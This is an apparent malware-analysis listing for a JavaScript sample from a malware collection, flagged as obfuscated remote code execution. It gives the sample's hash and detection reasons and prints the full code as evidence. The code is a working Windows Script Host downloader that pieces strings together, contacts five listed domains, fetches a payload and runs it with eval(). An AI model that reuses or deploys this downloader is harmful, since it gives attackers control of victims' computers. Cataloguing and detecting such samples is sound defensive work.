Suspicious ^80% javascript-malware-collection Download

20170323_05a3cc924d4c8c0699f8d72342482e51.js

Obfuscated remote code execution

Dense single-character concatenationCalls an object's open() method

SHA-256947e4396463a5536a3b00a676441955c3a50bda959097e11b1115530a91b7ee2

Evidence

Dense single-character concatenation lines 1–33

1var zn = '/', kt = 't';
2var ih = "G"+"E"+"T" + "";
3var mter = ":"+"";
4var ost = '|';
5var zx = 'p', ZHUL = 'h', tus = 'S';
6var x = ("nailcountryandtan.com"+ost+"scorpionkingcleaningservices.com"+ost+"pashminas.truecompassdesigns.net"+ost+"bustingaprose.com"+ost+"vizit-tour.com").split("|");
7var m = "00000012NHhiYHSwPAK7KqFqEbRWg2pjwpkg2CtjrWsE9pDQhl3oXM2EbbN7Gbi455btxEyEwYyWLG8UeNZfZP34QEGJT2rEJdlUeDH8_7NlNkc9WqVldhBl";
8for (var i=0; i<x.length; i++)
9{	
10	var e = WScript.CreateObject(
11		"M"+tus+"XML2.XMLHTT" + zx.toUpperCase()
12		);
13	try
14	{		
15		var tjkh = x[i+0];
16		var gfyu = zn+"";
17		e.open(ih, ZHUL.concat(""+kt+"")+kt+""+zx+mter+zn+zn+tjkh+zn+"c"+"o"+"u"+"nter"+""+gfyu+"?"+m, false);
18		e.send();
19		var r = e.responseText;
20		var zhim = 500;
21		var got = 50+450+zhim;
22		if (r.length > got && r.indexOf(m) > (got+1-1002))
23		{
24			var pirush = r.split(m);
25			var ikagdh = pirush.join("a");
26			eval(ikagdh);
27			break;
28		};
29	}
30	catch(e)
31	{
32	};
33};